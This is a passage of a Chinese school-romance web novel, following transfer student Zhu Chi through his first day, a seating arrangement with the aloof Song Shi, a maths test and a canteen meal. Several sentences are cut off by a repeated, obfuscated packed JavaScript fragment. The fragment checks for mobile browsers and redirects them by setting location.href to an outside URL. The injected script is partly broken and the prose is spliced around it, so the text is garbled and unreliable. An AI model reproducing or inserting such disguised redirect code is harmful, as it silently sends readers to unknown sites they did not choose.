这大好的独处机会,她可不想错过,于是拽了拽江遇安袖子:“要不……听祝池的?” “你们先走就是,贺景阳要不了那么大排面,还得一群人等他不成?”祝池调侃。 听两人都这么说,江遇安终于打消最后的顾虑,答应下来。 许向暖临走时,回头悄悄给祝池比了个心,看嘴型好像在说:“兄弟,谢了。” 祝池微微一笑。 其实他早就看出来了。 他们前脚刚走,贺景阳就出来了,看门口站着祝池一人,不禁问:“他们人呢?也去上厕所了?” “……” 祝池有点佩服贺景阳的一根筋,不过心思简单点也不是什么坏事,“对,他们说上厕所要的时间久,叫我们先走。” “那等等呗,急什么?”贺景阳往墙上一靠,掏出手机准备开一局。 祝池扶额,真是地主家的傻儿子,被人卖了都不知道。 “走吧,”祝池推着贺景阳往外走,“他们已经走了。” 贺景阳:“?!” - 夜色浓重,月影朦胧,深蓝色夜幕和青石板路融为一体,几家灯火星星点点缀在其中。 周遭静谧,两人踩着稀碎的脚步声往回走。 有贺景阳在的地方就不会冷场,何况祝池也是个能聊的人,两人一句接一句,都没让对方话掉地上。 正吐槽到语文诗词赏析,贺景阳突然梗住,拉着祝池往树下看:“哎,那是许向暖吧,看发型怪像的。她对面那人谁啊?” 树下没有路灯,只能看见两团模模糊糊的黑影,要是贺景阳不说,祝池压根不会注意到那里有人。他还在纳闷,贺景阳怎么就一眼认出是许向暖。 祝池咂摸一番:“江遇安吧。他俩一起走的。” “我去,孤男寡女,鬼鬼祟祟,有情况。” 贺景阳猫着身子,步子放轻了些。 两人走近了才看清,是许向暖和江遇安没错。 江遇安手上拿着个蓝色长方形盒子,直接将它塞到许向暖手中,接着两人又说了几句什么,祝池他们听不清,之后就看见江遇安转身离开了。 “不会吧,”贺景阳差点惊掉下巴,“江遇安看上许向暖了?他没事儿吧,干嘛想不开。” “……” 祝池心里门儿清,或许人家是两情相悦呢。 等江遇安走后,贺景阳跑到许向暖旁边,问:“江遇安送你东西啊?” 许向暖没料到贺景阳他们回来这么快,有点惊,又有点愣,“怎么,不能送我东西啊?” “……也不是”贺景阳说,“就是想不通……他送你什么啊?” 许向暖把盒子护到身后,语气加重几分:“不告诉你,不关你的事,少多问。” 许向暖刮了刮鼻子,招呼也没打就跑了出去。 “她有毛病吧,”贺景阳被她莫名其妙的火气整得有点懵,“被送礼物还能这么气,真够难哄的。” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667830|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>回家后,祝池才又打开手机。 手机上显示有新的联系人请求添加,他差点给忘了,宋时还没给他转钱。 祝池刚点完同意,打算给SSS发点表情包打招呼,图还没发过去,就先看到对方的转账消息。 “100元请收款” 啊?这么多。 是想拿钱堵他的嘴? 祝池最后没领,给他一连发去两个表情包,分别是—— “老板豪气”和“你什么意思”。 SSS显然很高冷,发完转账后就彻底隐身了。 祝池盯着手机看了半天,也没能等来对面的解释,他实在无聊,习惯性扒开新朋友的朋友圈看,却被这个新朋友的朋友圈给震撼到了。 SSS的朋友圈元素很单一,没有九宫格,没有网络梗,不是经典诵读就是美文摘抄,很像微信刚开发的时候,上年纪的人每天发的随笔感想。 面具披的不错。 要不是今天撞见他抽烟,光凭这朋友圈,祝池还真以为这人是个文艺青年呢。 不过他的头像还是挺现代的。 是一只伸着舌头的白色萨摩耶大狗狗,眼睛水汪汪,圆溜溜的,应该是张网图。 祝池心里啧了声,头像和本人是完全不符的,明明是狼,偏要装狗。 - 早上七点吃过早饭,祝池和贺景阳一块出门上学。临到门口,贺景阳才突然想起来,自己忘记把校服先借件给祝池穿。 对于进出校门,一中抓得很严格,没穿校服的一律不让入校。门口保安向来死板,说什么都没用,只认校服。 “大爷,他是转校生,刚转过来的,还没领校服呢?”贺景阳说。 “转校生?上周就有个外校的混混说是什么转校生,”大爷铁着脸,上下打量祝池,“你有什么能证明你是转校生吗?” 说到证明,他还真有。之前转校的凭证和单据宁女士担心需要用,特地塞到了他包里。 “有,您等着。”祝池往书包夹层里掏,可是里里外外翻遍了也没找到。 祝池表情一瞬僵住。 我他妈昨天就不该收拾什么书包。 保安像是早就料到他根本翻不到,一副“我就看着你表演”的样子垂眼审视他。 祝池有点窘,无奈给贺景阳递个眼神。 这时,宋时正好从身边路过。贺景阳像是见到了救星,一把抓住宋时胳膊,“有多的校服没?” 宋时觉得莫名其妙,“我没事带多的校服干嘛?” “你今天没体育课?”贺景阳问。 宋时道:“体育课我待教室。” “……” 今天周一,每周周一校服厂家都会在教学楼下摆摊。 有了。 贺景阳把书包扔给宋时:“你帮我拿一下,看着祝池,我去去就来。” 说完,贺景阳以百米冲刺的速度飞奔向教学楼。 抱着贺景阳沉重的书包,宋时站在校门口吹风。 身边人流涌动,都是穿着同样蓝白校服的学生,没一人停下脚步。 “你俩挡路了,站那边去。” 保安把二人往角落没人的那头推。 祝池很自觉地往边上走,旁边的宋时却挪得不情不愿,表情跟吃了屎一样难看。 贺景阳脑子有毛病啊,他又不是狗,还需要人看着? 宋时转身,想把这个烫手的山芋甩走。 看宋时把书包递过来,祝池眼疾腿快地朝后面退了两步,双手插进口袋,“他叫你帮忙拿,没叫我。” 8. 开学 宋时今天算是见识到了,一个人的脸皮能有多厚。 祝池笑意盈盈,力气是不会出的,但情绪价值是给足的,“就知道宋同学热心,辛苦宋同学啦。宋同学看着就高大威猛,拎个包肯定是不在话下,是吧,宋同学?” “……” 是个屁。 宋时想把包甩人脸上,不过周围人太多,时不时还有几双眼睛看过来,宋时咬紧后牙槽,最后还是忍住了。 教学楼下,卖校服的厂家果然已经来了,贺景阳照着自己的尺码随便拿了两件。 “一件短袖,一件外套,一共是180。现金吗?”卖校服的人手里攥着一摞散钞,已经从里面抽出了一张20。 “不,微信。”贺景阳下意识去掏手机,但动作很快僵住。 草,手机落包里了。 贺景阳没有随身带钱的习惯,手机和饭卡基本就能解决他的所有生理需求,不过这种关头下,他仍旧没有轻言放弃,不死心将浑身上下的口袋翻了个遍。 结果不出所料,一个钢镚都没翻到。 “能赊账吗?”贺景阳问。 “你说呢?”卖校服的人微笑看他,手却轻轻将他抱着的校服抽了回去。 “贺酱,一大早来买校服啊。” 一个熟悉的身影从旁边经过,贺景阳仿佛看见了曙光。 他拉住蒋骏豪,问:“带钱了吗?” “十块够吗?”蒋骏豪如实答。 “……” “那手机你总带了吧?”贺景阳问。 蒋骏豪顿感不妙,支支吾吾道:“没没……没带啊。” 贺景阳鼻子跟狗一样,对方撒没撒谎一嗅便知,他将手直接横伸到蒋骏豪书包背侧摸找。 果然,一摸一个准儿,一个四四方方的凸起藏在背侧拉链后。 “军号,江湖救急,我就用一下。”贺景阳死乞白赖地恳求。 “不行,真不行。”蒋骏豪显然没那么容易松口。 “别那么小气,我又不是不还你钱。” “不是钱的事,你忘了……上回我刚借你,手机就被没收了。” “我不是给你要回来了嘛。” “别提了,3000字检讨呢,总之不行。” “……” 两人拉拉扯扯好一阵,缠斗过程中,拉链不知什么时候松开,手机从里面飞出来,好在贺景阳眼疾手快,没让手机摔地上。 “好险……”贺景阳舒口气。 “你们两个干嘛呢,”一声烟嗓划破天际,马俊义单手托着保温杯走过来。 贺景阳手机刚拿稳,一看来人,赶紧把手机往兜里揣,可惜晚了一步,还是没能逃过老马的法眼。 “好啊,开学第一天就又带手机,被我逮着了吧。”马俊义一把夺过贺景阳手里的手机,厉声呵斥:“说,这谁的?” 蒋骏豪:“我……” “我的,蒋骏豪看见了想劝我收起来。不过今天是特殊情况,我来买校服的。”贺景阳当然知道这个理由不够充分,于是赶紧转移话题,“新来的转学生,就是祝池,因为没穿校服,还被卡在校门口呢。” 听到祝池的名字,马俊义的脸色显然松弛了些,他打量着二人,语气稍稍放缓:“无论如何,这也不能成为你违反校规,私自带手机来学校的理由。” 蒋骏豪在旁边听得心惊胆颤,低着头不敢说话,贺景阳则是觅见有转机,赶忙凑过去套近乎:“主任教训的是,今天不是特殊情况嘛,下次一定不会了。所以手机能先……” 说着,罪恶的小爪就伸到了手机旁。 马俊义很警惕,没被贺景阳牵着鼻子跑,“还下次,先说说这次。你,惯犯了吧,3500字检讨没得商量,交了再来拿手机。” 说完,马主任把没收的手机揣兜里,贺景阳和蒋骏豪顶着两张苦瓜脸,也不敢再反驳。 不过马主任在某些方面还是很宽宏大量的。 抓完违纪他没直接走,而是拿出自己的手机,帮忙扫了码。 “祝池的事我来解决,你们回去上课,校服我给带过去。”马俊义摆摆手,招呼他俩离开。 眼看校服的事情解决,贺景阳嬉笑着说:“谢谢主任。主任,回头我转钱给你。” “先交检讨再说。” “……” 校门口这边,祝池和宋时没等来贺景阳,倒是先遇见了班主任。 看见赵大顺走来,宋时率先问好:“赵老师好。” 赵大顺停下脚步:“宋时啊,站这里干嘛,怎么不回教室?” 祝池闻声看过去,面前的人中等身高,头发像是刚剪过,短如寸草的头发很好地掩盖住秃顶,整体看上去像个卤蛋。之前听贺景阳提过,他们的班主任看着老成,实际年龄其实并不大,想必这位就是大顺没错。 祝池跟着问好:“赵老师好,我是祝池,这学期转到您班上来的。” “祝池啊,对对对,马主任跟我提过你。”大顺注意到祝池没穿校服,顿时明白过来,“我跟门卫说说,叫他放你进去。” 赵大顺和门卫打过招呼,门卫果然没再为难,他回来后直接忽视掉旁边的宋时,把祝池径直往里带。 祝池跟着大顺的脚步往里走,大顺一路给他报楼名,什么至善至真至美,敬德树德明德……全跟多胞胎一样长得大差不差,祝池头点得勤快,心下却是一个也没记住,在脑中简单粗暴全换成高一教学楼、高二教学楼、实验楼、食堂…… 一中是新建的校区,不论是外观还是硬件,比起他原来的老破学校,好得简直不是一星半点。 当然,学校的老师也很热情,对新同学极尽耐心,关怀备至。大顺给他简绍完楼宇和学校情况,还不忘询问他的学习进度,两个人聊得火热,简直快忘了旁边还有个人。 走到路中央时,他们刚好和年级主任迎面碰上。 “你就是祝池吧,班主任赵老师在这儿,我也就放心了,”马俊义拍拍祝池肩膀,笑得容光焕发,他把手上的校服递过去,“喏,这是新校服,回去可以换上。” 祝池有点受宠若惊。 怎么是年级主任来给他送校服,贺景阳呢? 他好大的脸。 祝池顿了顿,想不通却也不方便问,只好双手毕恭毕敬接过校服。 显然,马主任也忘了,旁边还站着个拎包的人。 马主任走后,大顺继续给祝池唠叨学校的雄厚师资和高考伟绩,祝池听得无聊,忍不住看了眼旁边的人。 宋时很平静,平静到透露出淡淡的忧伤,目不斜视地盯着前方,看着怪可怜的。 祝池想起他刚刚被冷落的场面,打算象征性给点安慰,谁知对方像开了广角模式,突然朝他看过来。 宋时眼神里透着寒光,一记冰豌豆猛地砸向祝池,还是那副别挨老子的拽样。 送安慰的念头一扫而空。 这像是需要安慰的样子吗,我看撒点盐最好。 祝池双手一摊,眉梢轻轻挑起,表情沾染着几分洋洋得意,似乎在说:唉,没办法,这就是独属转学生的优待。 面对祝池的公然挑衅,宋时反倒收起了他的冰块脸,嘴角微微抽动一下,像是在笑,只是这分笑意来得猝不及防,让祝池摸不着头脑。 这家伙该不会是受虐狂吧。 祝池还在琢磨他笑什么,下一秒,贺景阳的书包就被送到了他手上。 接住书包这个动作并非祝池本意,全靠下意识反应。等他反应过来时,旁边的人双手已经插进口袋,笑得更加放肆了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667831|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宋时回归轻快,步子走得都大了些,反观祝池,一手拎书包,一手拿校服,背上还驮着个装满教材的沉重书包,身上没一块儿骨头是闲着的。 祝池气笑了。 早知道这家伙这么狡猾,他就不该招惹,更不该同情心泛滥。 - 开学第一天,所有人还未从暑假的欢愉中醒过神来,在夏季燥热的烘托下,少年人的身和心也跟着躁动。 一班教室也不例外,趁着老师还没来,传作业的传作业,聊八卦的聊八卦,整个教室叽叽喳喳,鸦雀流窜,乱成了一锅粥。 “听说雷煜和高大伟去七班了。” “不会吧,之前说每学期淘汰人,来真的啊。” “特奥班嘛,潜规则就是弱肉强食,只出不进。我们班还算走的少的,听说隔壁二班踢了5个呢,说是在高三前要压缩到40人,照这个来看,咱班今年还得走9个。” “我去,雷煜不是化学竞赛的嘛,这都能走,我觉得我比他菜多了,这学期学号肯定要吊车尾。” “……” 几个女生围在一起感叹这世道残酷,许向暖坐中间听了个七七八八,直到把桌面收拾干净,才不急不徐地开口:“谁说只出不进,咱班今天就要进人了。” 众女生惊呼:“空降兵?!谁啊谁啊?” 许向暖卖了个关子,指向门口,“喏,就那个。” 一行人顺着许向暖手指的方向看过去,大顺旁边站着一个高高瘦瘦的男生,生得眉清目秀,不笑时看着有点高冷。 “哇塞,帅哥啊。” 大顺走到讲台上,拍了拍桌子,“安静啦,介绍一下新同学。这位是从临川转来的转学生,祝池同学。” 下面开始小声议论:“临川唉,大城市来的。” “……” “大家好,我叫祝池,祝福的祝,池塘的池,和和尚庙里的那个住持同音。” 等到台下反应过来这个谐音梗时,台上人已经说到了下句:“很高兴加入一班的大家庭,大家多多指教啊。” 祝池弯着眼笑,唇红齿白,笑颜如画,比夏季的烈阳还要灿烂。 “OMG,他笑起来好可爱,我这个老母亲的心要化了。” “帅哥变甜妹,谁能拒绝啊!!!” “……” “祝池同学在以前的学校就很优秀,尤其是数学,高一就拿了数学奥赛的市一等。” 大顺开始介绍新同学往昔的“丰功伟绩”,祝池在旁边讪笑。 其实这就是个初赛,他们之前学校不怎么重视竞赛,祝池作为学校的独苗,临阵被拉上去凑数,前前后后也就培训了半个月,全靠啃初中竞赛的老本。 他原以为这只是个野鸡比赛,没想到含金量这么大,连素未谋面的班主任都知道。 “太牛了吧,数学竞赛,还是一等奖唉。” “大佬,这是真大佬,虽然不是一个市,但咱们班数学最牛的夏思澈也才二等呢。” “……” 女生们看颜,男生们看分,关注点不同,不过都看新同学挺顺眼的。 除了最后一排的宋时。 因为他压根没看。 在大家目光全聚焦在祝池身上时,宋时一个人坐在位子上低头刷题,连眼皮都没掀一下。 大顺看了眼班上的位子,雷煜和高大伟走后,他们旁边分别剩下两个空位,由于班上之前人数是单数,总会有人落单,那个单人单桌的,就是最后一排的宋时。 没思考太久,大顺指着雷煜同桌黄宇恒说:“你直接坐到高大伟位子上去,”又指向最后一排,“祝池,我看你跟宋时挺熟,你就和他坐同桌吧。” 祝池看向最后一排,宋时刚好也抬头看他,两人四目相对,表情一言难尽。 9. 同桌 祝池刚要举手说什么,大顺就给他摁了下去。 “没桌子是吧,雷煜的桌子空着,正好搬过去,”大顺对自己的座位安排十分满意,指着前排的候思源叫帮忙搬桌子,“这下刚刚好,大家都有同桌了。” 班上人目光齐刷刷看向后门口,所有人抿着唇,表情多少有些耐人寻味…… 女生:俩帅哥一块,这不高低磕一口。 男生:俩学神打架,这不得卷死大家。 不过祝池只顾搬桌挪椅,没注意到班上人反应。 让他惊讶的是,宋时明明是不情愿和自己坐的,却也没见他有任何反应,甚至他还主动起身腾地方,帮忙把两张桌子摆整齐。 这是要整哪出?打一巴掌给颗枣? 校门口寻书包未果的贺景阳一路追到一班门口,前脚刚准备踏进后门,就看见一个熟悉的黑色书包大喇喇放在窗台上。 贺景阳赶紧把书包拿下来,心下暗道: 宋时可真是会找地方,还能再显眼点吗? 要是手机被老马发现他不就直接完蛋。 走廊里空空荡荡,贺景阳估摸着快要上课了,没时间当面讨伐宋时,只好先给他记着。 走之前,贺景阳往后门口瞥了一眼,除了宋时,还看见个熟人。 祝池坐在宋时旁边的位子上,正将包里的书往外拿。 他俩是同桌? 宋时竟然有同桌了? 之前贺景阳也常来找宋时,不过高一一整年,都没看见过宋时和谁坐同桌,他还以为顶级学霸都这个癖好,喜欢清净,喜欢独来独往。 但没想到祝池一来,宋时也是会破戒的嘛。 贺景阳拍了拍书包上的灰,单肩挎着往前走。 算了,看在宋时这么有良心帮忙关照新同学的份上,他就大人不记小人过了。 桌子搬好后,祝池戳了戳宋时胳膊,小声问了句:“大顺教哪门啊?” 宋时怀疑他明知故问,把胳膊朝里面收了点,连带着凳子也往远离祝池的方向移了些。 这就又变脸了?他招他惹他了? 祝池啧了声:“小气,不愿意说我问别人。” 他伸手刚要去拍前排的人,身侧便响起不冷不热两个字:“数学。” 祝池“哦”了声,怪不得大顺对他印象那么深刻。 “大家准备准备上第一节课,哦,对了,班长记得大课间带几个男生,去教材室领新学期的课本。”赵大顺说。 祝池听见喊班长,还在四处张望谁是班长,视线掠过讲台时,恰好和大顺的目光对上。 ??? 看我干嘛?我新来的。 直到身侧又落下一道熟悉的声音—— “好的老师。” 声音温柔干净,让人听着很舒服。 祝池猛地看向身侧的人。 宋时此时正视着讲台方向,眸光大方坦荡,嘴角还带着淡淡笑意,和刚才对祝池的笑,完全是截然相反的两副面孔。 我靠,高手,真是高手。 祝池眯着眼忍不住摇头。 这谁见了不夸一句:真是老师的得力小帮手。 宋时眼睛很尖,祝池只要盯了他超过两秒,他必然是会回敬过来的。 他瞥了眼祝池桌角摞着的一叠书,问:“高二课本你提前买了?” 祝池道:“学校发的,高一的时候就把教材发齐了。”早知道来了还要发教材,他当初就应该阻止宁女士往箱子里硬塞。 难得宋时主动问话,还是句无关紧要的话,非常像是在搭讪。 祝池索性也多说了几句:“你该不会是看我资料齐全,感觉有压力了吧?” “不是。”宋时收回视线,“你要是有书,刚好可以少领一套。” “……” 话题再次戛然而止,不过正好,上课铃响了。 第一天开学,值日生估计是忘了誊课表,黑板上暑假留的各科作业都还没擦,祝池刚想咨询下班长同桌,碰巧瞥到他桌角四四方方的小便签,上面密密麻麻的小方格星罗棋布,看着似乎是课表。 为了不打扰他学习,也避免自讨没趣,祝池这回决定自食其力,自己凑过去看。 只一秒钟功夫,祝池看完就弹回原位,仿若无事发生。 宋时没管他的奇行怪止,只在他凑过来的瞬间用余光瞥了眼。 祝池抽出语文课本,翻开时才蓦地想起—— 他转一中不仅交了转学费,学杂费也是一项不落,要是不领课本的话,那他岂不是亏了。 不行,这不行,便宜了谁也不能便宜学校,发的新书他挂网上卖,正好可以回回血。 祝池急忙凑过去,这次停留的时间稍长。 “那个,书给我也领一套,”祝池很会做人,也不白占便宜,“大课间搬书喊我一声,我去给你帮忙。” “……” - 下午临时换课,原本就有两节数学连一块,现在直接换成了三节连堂。 赵大顺之心,人尽皆知,每逢连堂必考试,一班教室顿时陷入一片哀嚎。 “大顺做个人吧,谁家老师刚开学就考试。” “就是就是,三节课就不能消消乐直接消掉吗?” “你说刚开学他想考啥,考高一还是高二的?” 下节课就是漫长的数学考试,课间教室趴倒一片,全都是消极怠战的,数学课代表夏思澈见此状况,忍不住过去安抚:“大顺说考补课期间学的高二前两章,高一也会涉及一点,但总体范围还是很窄的,大家别担心。” 一众人显然没有被他这番话安慰到,反而更加崩溃了。 “那完了,一个暑假过去,我现在大脑一片空白,完全记不得补课学了啥啊!” “不至于吧,暑假作业有布置这部分的专题卷啊。”夏思澈道。 空气凝滞两秒。 候思源弱弱开口:“夏神该不会以为我们真是自己独立完成的吧……” 夏思澈:“……” 接着,众人开始狂翻课本,硬是被逼出一目十行的功夫,噼里啪啦的翻书声在教室里此起彼伏、经久不绝。 祝池被这声音吵醒,从桌子上爬起来揉眼睛。 放眼望去,周围人全都在翻书,他看了眼身边的宋时,虽然没有像其他人那么夸张,但也抱着本数学笔记看得专注。 这难得就是传说中重点高中的学习氛围? 连课间也不放过。 祝池难得觉得自己不够上进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667832|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,为了合群,也跟着掏了本资料书看。 他抵着下巴优哉游哉地翻书。 书的封面写着几个大字——高中语文古诗词赏析。 两个小时的酷刑结束,因为是三节连上,所以整整吞了两个课间,最后收卷时,离下课还有将近二十分钟。 大顺很是慷慨,直接大手一挥,让同学们提前去吃饭。 放在平常,这个奖励足以让全班人欢呼,但放在数学考试后,就没什么吸引力了。 大伙跟打了蔫儿的茄子一样,垂头丧气,整个人像是被数学题给榨干精气,连往常饭点百米冲刺的劲头也全被消磨干净。 祝池看大伙不动,也没动。 心想还得是特奥班的学霸牛,老师批准了都不走,有定力。 “都不走?是还没做够,想我给你们再布置几道题?”大顺说。 一听到要加作业,教室里的人瞬间又活了过来,一扫刚才考场上的失意,争先恐后地往门口挤。 祝池只觉一阵人流朝自己涌来,这种窒息感完全不亚于公交车爆满,甚至比之更甚。 他被挤得没法儿起身,等他反应过来时,教室的人已经走了个精光,只剩下他和他的同桌。 “不走?”祝池问。 宋时头也不抬,手上刷试卷的动作没停,“你先去,不用管我。” 祝池:“……” 我特么这是在管他吗? 新同学初来乍到,举目无亲,人生路不熟……不应该是他来管管我吗? 祝池很烦这人每次的态度,奈何为了自己的胃,还是硬着头皮说:“那个……我饭卡还没办下来,能先借你的用吗?” 宋时可能想赶紧把他打发走,这次什么也没说,从兜里掏出饭卡甩给他。 祝池拿了饭卡杵在门口。 片刻后,宋时瞥见他还没走,终于抬眼看他。 “那个……你给我了你怎么办?我要是吃得慢,回来还你可能会时间不够……”祝池说。 “……” 宋时其实想说:那您倒是吃快点啊,再不行买个包子路上啃。但或许只是不想和他继续浪费口舌,话到嘴边又全给咽下去了。 宋时撂下笔,又看了祝池一眼,起身往门口走。 因为是提前下课,所以去往食堂的路上并不拥挤,周遭安安静静的,只在路过篮球场时听见几声篮球的闷响。 一路上,两人都没怎么说话,走得也不近。 祝池其实很想走他前面,这样眼不净为快,但无奈他对一中路况还不大熟悉,只好在宋时后面跟着。 手上的校园卡攥了一路,临到食堂门口,祝池才意识到。 他将五指伸开,正反翻转着细细看了一遍。 反面是学校大门的精修图,正面是宋时的学生信息,以及他的“精修照”。 学生卡的照片是学校统一给拍的,照片里的人眼睛像是没睁开,嘴巴咧成一个奇怪的弧度,似笑非笑的样子并不温和,显然是表情还没管理好,摄像大哥就按了快门键。 要不是照片旁指名道姓出是谁,他还真不敢认。 好好的大帅哥被拍成这样,也是可惜了。 祝池回忆起自己早上拍照的状态,不禁为自己捏了把汗…… 10. 吃面 就在祝池对着手上的卡片愣神时,宋时已经越上两级台阶,立在食堂门口。 “你干嘛呢?” 冷不丁一声将祝池的思绪拉回,他恍然抬头,看见宋时正站在台阶上,居高临下地俯视他。 祝池下意识并拢五指,将手上的卡片遮了遮,“哦,来了。” 说着,朝宋时的方向跑过去。 他们到的时候,食堂的人其实并不少。 今天高三动员仪式结束得早,食堂里此刻乌泱泱一片,大多数都穿着和他们同款不同色的墨绿色校服。 “刚不还挺积极。”宋时迈着长腿往前走。 “?”祝池跟上去,“你说什么?” “……没什么。”宋时别过头,“赶紧吃完回去,我可没功夫等你。” 祝池善解人意道:“不用你等,刷完卡你就可以走了。” 宋时:“?” 合着他就是个一次性工具人,用完就扔? 看对方的脸色不对劲儿,说完祝池才意识到,自己好像又得罪某人了。 “不是,我的意思是你吃完了可以先走,不用等我,咱们也不一定要吃一样的……”祝池找补,“对了,食堂有什么推荐吗?这还是我第一次来。” 一中的走读生早饭和午饭都可以选择在家吃,唯独晚饭的时间只有半个小时,回去一趟太赶,所以大家一般都会选择在食堂解决,吃完直接回去上晚自习。 “没什么推荐,味道都差不多。”宋时回答。 “那就是没什么雷,随便挑都可以。” 祝池环顾四周,大大小小的窗口不少,面点粥品,快餐称菜,种类还是很齐全的。 宋时没说好,也没说不好,不知道对方阅读理解怎么学的,能直接解析为“都还可以”。 看祝池似乎对食堂挺满意,宋时觉得稀奇,“都差不多的意思是,都一样难吃。” “……” “你要吃哪个?我把卡先给你刷。”宋时边说边去兜里掏饭卡,可校服口袋却空落落的,翻找一遍也无果。 宋时无奈蹙眉,自己这记性也是差得没边儿,他给忘了,卡刚在教室就给了祝池。 “噢对,卡在我这儿,”祝池也才意识过来,尽管他两分钟前刚欣赏过这张卡片,“我吃拉面。” 祝池指了指5号窗口,那里排队的人不多,应该几分钟就能排到。 宋时看向拉面窗口,叹了口气,却也没说什么,催促人赶紧去排队。 “你吃啥?”祝池刷着别人的卡,即使饭钱他回去会还,但也没法儿心安理得让人在这干等。 “我吃包子,带回去吃。”宋时没纠结。 祝池视线右移,“兰州拉面”旁“中式面点”四个大字映入眼帘,6号窗口前人满为患,一串长龙拐了两道弯。 怪不得让他先排。 祝池心想包子队长,而且今天怎么说吃饭时间也充裕,何必自讨苦吃,啃干巴巴的包子委屈自己。 祝池一把拉过宋时,两人站到了拉面队伍中。 “一起吃面吧,坐下来吃碗热乎的,身上暖和。”祝池说。 “……” 宋时一脸无语,“大哥,这是夏天。” 祝池讪讪一笑:“排包子也是排,排拉面也是排,来都来了,反正都是要花时间的,”他指着旁边的长龙,“你看,旁边队伍多长啊,可能我吃完了你都排不上号。” 宋时没吭声,良久,祝池探着脑袋往前看,眉毛皱了皱,“唉?我怎么感觉这队压根没动?” “把感觉两个字去掉,”宋时指了指旁边6号窗口,“你看,旁边队伍多快啊。” 祝池偏头,如宋时所言,刚才还在队尾的短发姑娘,一眨眼功夫已经买完包子,从他俩身边闲庭信步晃过。 祝池目瞪口呆:“我去,食堂拉面,原来真是拉出来的啊。” 等他们排到拉面时,已经过了十五分钟,食堂里又涌来第二波人,高二大部队准时抵达战场。 两人找了个宽敞的边角空位坐下,开始吃面。 “其实……也还好,”祝池安慰他,“别人还没打到饭,我们就已经吃上了,怎么不算是一种领先呢?” 宋时嗦面的动作没停,咽下嘴里的面,又夹起一筷子面,趁面放凉的片刻才回复:“你怎么不看看起跑线一不一样。” 祝池被他怼得无话可说,果然只要宋时一开口,话就能被堵死,简直是当之无愧的话题终结者。 接下来,两人开启沉浸吃饭模式,没再说一句话。 祝池自认为自己吃饭速度不慢,但没想到宋时比他速度更快,一种莫名的胜负欲在心中燃起,仿佛谁先吃完谁就能得大礼包似的,祝池挑面的动作瞬间加快不少。 可惜祝池的嘴跟不上他的手,等他挑起面往嘴里送时,嘴里的面团还没吞下,一口空气被猝不及防地吸入喉口。 他呛了呛,差点儿没喷出来。 “咳咳……咳咳……” 祝池捂着嘴剧烈咳嗽起来,对面的宋时想问点儿什么,但看他这样子,问了也是白搭。 宋时从兜里摸出张手帕纸,递过去。 “谢谢。”祝池咳嗽着,还不忘记基本礼节。 “吃那么快干嘛,又没人催你。”宋时说。 “……” 祝池心里骂了句,刚才是哪个家伙说没功夫等人的。 - 他俩吃面吃得快,回去后教室里也没几个人。 祝池从书包里摸出手机,打算把钱转给他,以免之后忘记。 他点开微信,SSS还占据在联系人最上方,十分显眼。 聊天界面停留在未被领取的100元,和两个自娱自乐的表情包上。 祝池飞快输完金额和支付密码,又从收藏夹里捞了个“万分感谢”的表情包发过去。 “叮咚~” “叮咚~” 声音恍若蚊蝇,但坐得近的祝池还是听到了。 他凑过去提醒同桌:“你手机提示音忘关了。” 宋时僵了一瞬,但仍然面不改色,“我没带手机。” 祝池:“?” 他刚刚明明听见了,就是从他桌肚里传来的。 祝池很自然地搭上他肩膀,说:“没事儿,我也带了,不被老师发现就行。” 宋时看见他语文书下闪烁的荧光,板着脸说:“我没带。学校规定不能带手机,你下次也别带了。” 祝池:“……” 这是不见棺材不落泪,好学生演上头了是吧。 小晚自习一直上到七点五十,中间休息十分钟,接着上两个小时不间断的大晚自习。 课间,夏思澈抱着一沓卷子走进来。 “今天数学作业还要布置试卷?”他同桌黄宇恒问。 夏思澈将试卷直接放到自己桌上,回答:“不是,下午考的卷子大顺改出来了,叫我登一下分。” 周围一圈的人纷纷看过来:“???”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667833|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我去,大顺又进化了,从一下午出分,变成了一下午考试加出分。” “也好,早死早超生,起码不用煎熬。” “……” 夏思澈道:“结局不一定是死,别那么悲观。想想看,新同学都没参加补课,纯纯裸考,你们好歹还是有点基础的。” 